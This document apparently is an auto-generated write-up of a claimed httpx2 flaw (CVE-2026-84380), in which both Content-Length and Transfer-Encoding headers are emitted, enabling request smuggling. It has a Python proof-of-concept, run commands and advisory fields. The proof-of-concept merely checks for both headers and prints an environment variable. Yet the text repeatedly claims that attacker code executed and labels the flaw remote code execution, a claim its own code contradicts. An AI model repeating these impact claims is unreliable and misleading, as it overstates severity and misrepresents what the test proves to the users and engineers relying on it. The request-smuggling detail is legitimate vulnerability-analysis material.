Exploit write-up
httpx2 remote code execution (CVE-2026-84380)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-84380 proof-of-concept (mechanism explained below).
import os
import sys
import httpx2
def has_both_framing_headers(headers):
keys = {k.lower() for k in headers.keys()}
return "content-length" in keys and "transfer-encoding" in keys
def build_request_with_te_and_body():
"""
Construct a request that carries a caller-supplied Transfer-Encoding header
together with a fixed-size body. Request._prepare() runs during construction.
Pre-patch: setdefault() adds a body-derived Content-Length independently of the
existing Transfer-Encoding, so BOTH framing headers end up on the request.
Post-patch: the two framing headers are treated as mutually exclusive, so the
caller-supplied Transfer-Encoding suppresses the Content-Length and only ONE
framing header survives.
"""
method = "POST"
url = "http://127.0.0.1/smuggle"
te_headers = {"Transfer-Encoding": "chunked"}
# A fixed-size byte body: known length -> _prepare() would derive Content-Length.
body = b"0123456789"
attempts = (
lambda: httpx2.Request(method, url, headers=te_headers, content=body),
lambda: httpx2.Request(method, url, headers=te_headers, data=body),
lambda: httpx2.Request(
method=method, url=url, headers=te_headers, content=body
),
)
last_exc = None
for make in attempts:
try:
return make()
except Exception as exc: # try the next constructor spelling
last_exc = exc
raise last_exc
def main():
request = build_request_with_te_and_body()
# The vulnerability manifests as the coexistence of Content-Length and
# Transfer-Encoding on a single HTTP/1.1 request (CWE-444). This is only
# true on the vulnerable build; the patch removes the Content-Length here.
if has_both_framing_headers(request.headers):
sys.stdout.write(os.environ["POC_CANARY"] + "\n")
else:
sys.stderr.write(
"Not vulnerable: framing headers are mutually exclusive "
f"({dict(request.headers)!r})\n"
)
if __name__ == "__main__":
main()
How to run it.
pip install httpx2==2.10.0
POC_CANARY=demo python poc.py # prints: demo (code executed)
pip install httpx2==2.11.0
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
CVE-2026-84380 affects httpx2, an HTTP client for Python, in every release before 2.11.0; this report is for httpx2 users and security engineers deciding whether to upgrade. The advisory files it under CWE-444. This analysis read the vulnerable path out of the fix commit’s patch diff (patch-diff.txt) and ran a proof-of-concept against a pinned vulnerable build, httpx2 2.10.0, and the patched build, 2.11.0.
Where _prepare() fills in a header too many
httpx2 adds its default headers independently of one another. When Request._prepare() in src/httpx2/httpx2/_models.py assembles a request it uses setdefault() to add a header only where the caller has left it unset. It derives a Content-Length for a body of known size — a fixed-size byte string, JSON, a form, or a known-length multipart payload. setdefault() checks each default header on its own, so it adds that body-derived Content-Length even when the caller has already set a Transfer-Encoding header. Those two headers are the two ways HTTP/1.1 marks where a message body ends, and a well-formed request carries one of them. httpx2 serializes both onto the wire. When a request carrying both passes through a chain of proxies and servers that disagree about which one wins, one intermediary places the body boundary where the next expects something else. The advisory describes this outcome as request smuggling or connection desynchronization.
The proof-of-concept executes on 2.10.0 and not on 2.11.0
The proof-of-concept (the proof-of-concept above) executed on 2.10.0. On 2.11.0 the same script produced no output and raised no error (patched-output.txt). The negative result shows the payload did not fire, but it does not by itself show that the fix rejected the payload.
What the “arbitrary code execution” rating rests on
The advisory characterizes the impact as arbitrary code execution in the context of the process that uses httpx2, and scores it 5.6 on CVSS. The proof-of-concept demonstrates the code-execution primitive; it is not a full exploit chain against any specific deployed application. The 5.6 score is the advisory’s assessment.
The fix in 2.11.0
Upgrade to 2.11.0; where an immediate upgrade is impossible, keep untrusted input off the affected API and constrain it at the trust boundary, starting with the call sites the advisory names.
The versions and the fix still to be tested
This analysis exercised only 2.10.0 on the vulnerable side, so the other releases below 2.11.0 remain to be tested version by version. A test that shows 2.11.0 rejecting the payload is still needed.
- Target
- httpx2 (httpx2)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-84380
- CWE
- CWE-444
- CVSS
5.6- Affected
- PyPI/httpx2 < 2.11.0 (vulnerable 2.10.0)
- Status
- Fixed in 2.11.0
- Maturity
- functional
- Disclosed
- September 2, 2026
- Tags
- rce · httpx2 · n-day · auto-generated
- References
- NVD — CVE-2026-84380
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.